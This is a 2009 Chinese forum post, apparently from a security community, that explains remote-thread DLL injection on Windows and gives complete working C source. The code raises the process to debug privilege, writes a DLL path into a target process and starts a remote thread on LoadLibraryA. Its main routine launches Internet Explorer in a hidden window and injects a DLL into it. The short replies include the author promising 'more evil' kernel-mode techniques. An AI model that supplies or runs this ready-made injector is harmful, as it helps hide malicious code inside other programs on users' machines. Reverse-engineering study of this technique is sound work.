首页
社区
课程
招聘
[原创]老生常谈-远程线程注入
发表于: 2009-10-4 23:42 14897

[原创]老生常谈-远程线程注入

2009-10-4 23:42
14897
闲来无聊,总结前人技术
begin

主要函数:
CreateRemote Thread()
LoadLibreary()
Thread()
VirtualAllocEx()
函数原型就不写了`~偷懒....

线程注入基本步骤
1.提升权限通常为DEBUG
2.调用OpenProcess函数打开目标进程,返回进程句柄
3.申请空间,写入要注入的DLL名,返回内存空间首地址
4.调用GetProcAddress函数得到LoadLibrary函数地址
5.调用CreateRemoteThread函数创建并启动线程
现在逐个解决
首先,提升权限
int EnableDebugPriv(const char * name)        //提升进程为DEBUG权限
{
        HANDLE hToken;
        TOKEN_PRIVILEGES tp;
        LUID luid;
                if(!OpenProcessToken(GetCurrentProcess(),
                TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
                &hToken) )
        {
                printf("OpenProcessToken error\n");
                return 1;
        }
                if(!LookupPrivilegeValue(NULL,name,&luid))
        {
                printf("LookupPrivilege error!\n");
        }
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Attributes =SE_PRIVILEGE_ENABLED;
        tp.Privileges[0].Luid = luid;
       
        if(!AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL) )
        {
                printf("AdjustTokenPrivileges error!\n");
                return 1;
        }
        return 0;
}
该函数用于提升进程为DEBUG权限,函数入口为进程名
2.接下来,得到进程句柄
OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwRemoteProcessId) //取得所有权
3.现在就开始向系统申请所需内存空间
char *pszLibFileRemote;
   
        pszLibFileRemote=(char *)VirtualAllocEx( hRemoteProcess,
                                     NULL, lstrlen(DllFullPath)+1,
                                     MEM_COMMIT, PAGE_READWRITE);
        if(pszLibFileRemote==NULL)
        {
                printf("VirtualAllocEx error\n");
                return FALSE;
        }
       
        if(WriteProcessMemory(hRemoteProcess,
                pszLibFileRemote,(void *)DllFullPath,lstrlen(DllFullPath)+1,NULL) == 0)
        {
                printf("WriteProcessMemory error\n");
                return FALSE;
        }

在往后就是得到LoadLibraryA函数地址
        PTHREAD_START_ROUTINE pfnStartAddr=(PTHREAD_START_ROUTINE)
                GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryA");
        if(pfnStartAddr == NULL)
        {
                printf("GetProcAddress error\n");
                return FALSE;
        }
最后就是启动线程了呵呵
        if( (hRemoteThread = CreateRemoteThread(hRemoteProcess,NULL,0,
                pfnStartAddr,pszLibFileRemote,0,NULL))==NULL)
        {
                printf("CreateRemoteThread error\n");
                return FALSE;
        }
        return TRUE;
}

以下是完整源代码

头文件:
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

#ifndef FUN_H
#define FUN_H
int EnableDebugPriv(const char * name)        //提升进程为DEBUG权限
{
        HANDLE hToken;
        TOKEN_PRIVILEGES tp;
        LUID luid;
        //打开进程令牌环
        if(!OpenProcessToken(GetCurrentProcess(),
                TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
                &hToken) )
        {
                printf("OpenProcessToken error\n");
                return 1;
        }
        //获得进程本地唯一ID
        if(!LookupPrivilegeValue(NULL,name,&luid))
        {
                printf("LookupPrivilege error!\n");
        }
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Attributes =SE_PRIVILEGE_ENABLED;
        tp.Privileges[0].Luid = luid;
        //调整进程权限
        if(!AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL) )
        {
                printf("AdjustTokenPrivileges error!\n");
                return 1;
        }
        return 0;
}

BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId) //注入函数
{
        HANDLE hRemoteProcess;
        //获得调试权限
        if(EnableDebugPriv(SE_DEBUG_NAME))
        {
                printf("add privilege error");
                return FALSE;
        }
        //打开目标进程
        if((hRemoteProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwRemoteProcessId))==NULL)
        {
                printf("OpenProcess error\n");
                return FALSE;
        }
        char *pszLibFileRemote;
    //申请存放dll文件名的路径
        pszLibFileRemote=(char *)VirtualAllocEx( hRemoteProcess,
                                     NULL, lstrlen(DllFullPath)+1,
                                     MEM_COMMIT, PAGE_READWRITE);
        if(pszLibFileRemote==NULL)
        {
                printf("VirtualAllocEx error\n");
                return FALSE;
        }
        //把dll的完整路径写入到内存,
        if(WriteProcessMemory(hRemoteProcess,
                pszLibFileRemote,(void *)DllFullPath,lstrlen(DllFullPath)+1,NULL) == 0)
        {
                printf("WriteProcessMemory error\n");
                return FALSE;
        }
        //得到LoadLibraryA函数地址
        PTHREAD_START_ROUTINE pfnStartAddr=(PTHREAD_START_ROUTINE)
                GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryA");
        if(pfnStartAddr == NULL)
        {
                printf("GetProcAddress error\n");
                return FALSE;
        }
        HANDLE hRemoteThread;
        //启动远程线程
        if( (hRemoteThread = CreateRemoteThread(hRemoteProcess,NULL,0,
                pfnStartAddr,pszLibFileRemote,0,NULL))==NULL)
        {
                printf("CreateRemoteThread error\n");
                return FALSE;
        }
        return TRUE;
}

DWORD GetProcessID(char *ProcessName)        //获得进程PID
{
        PROCESSENTRY32 pe32;
        pe32.dwSize=sizeof(pe32);
        //获得系统内所有进程快照
        HANDLE hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
        if(hProcessSnap==INVALID_HANDLE_VALUE)
        {
                printf("CreateToolhelp32Snapshot error");
                return 0;
        }
        //枚举列表中的第一个进程
        BOOL bProcess=Process32First(hProcessSnap,&pe32);
        while(bProcess)
        {
                //比较找到的进程名和我们要查找的进程名,一样则返回进程id
                if(strcmp(strupr(pe32.szExeFile),strupr(ProcessName))==0)
                        return pe32.th32ProcessID;
                //继续查找
                bProcess=Process32Next(hProcessSnap,&pe32);
        }
        CloseHandle(hProcessSnap);
        return 0;
}
#endif

主函数文件:
#include "fun.h"

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR lpCmdLine,
                     int nCmdShow)
{
        char Path[255];
        char DllPath[255];
        //得到widnows系统路径
    GetSystemDirectory(Path,sizeof(Path));
        //0x00截断字符,得到盘符
        Path[3]=0x00;
        //得到IE带路径文件名
        strcat(Path,"Program Files\\Internet Explorer\\iexplore.exe");
        //启动IE,为了防止系统中没有IE进程
    WinExec(Path,SW_HIDE);
        //暂停两秒,等待IE启动
        Sleep(2000);
        //得到IE进程
        DWORD Pid=GetProcessID("iexplore.exe");
        //得到程序自身路径
        GetCurrentDirectory(sizeof(DllPath),DllPath);
        //得到DLL带路径文件名
        strcat(DllPath,"\\test.dll");
        //注入IE进程
    InjectDll(DllPath,Pid);
        return 0;
}

另外有个东西
本进程的LoadLibrary函数地址可以这样获得
PTHREAD_START_ROUTINE p=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("kernel32")),"LoadLibraryA");
该函数成功返回句柄,否则返回零蛋

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 7
支持
分享
最新回复 (5)
雪    币: 1753
活跃值: (840)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
2
自己沙发
逐个是R3的`~
                       有空给大家带来R0的东西,更加邪恶一点
呵呵``.偶正在苦读寒江
2009-10-4 23:56
0
雪    币: 1844
活跃值: (35)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
睡不着,来顶顶贴
2009-10-5 02:18
0
雪    币: 276
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
楼上头像很诱惑哦
2009-10-5 06:30
0
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ikv
5
000
2017-4-3 17:45
0
雪    币: 983
活跃值: (722)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
学习啦
2017-4-3 22:10
0
游客
登录 | 注册 方可回帖
返回
//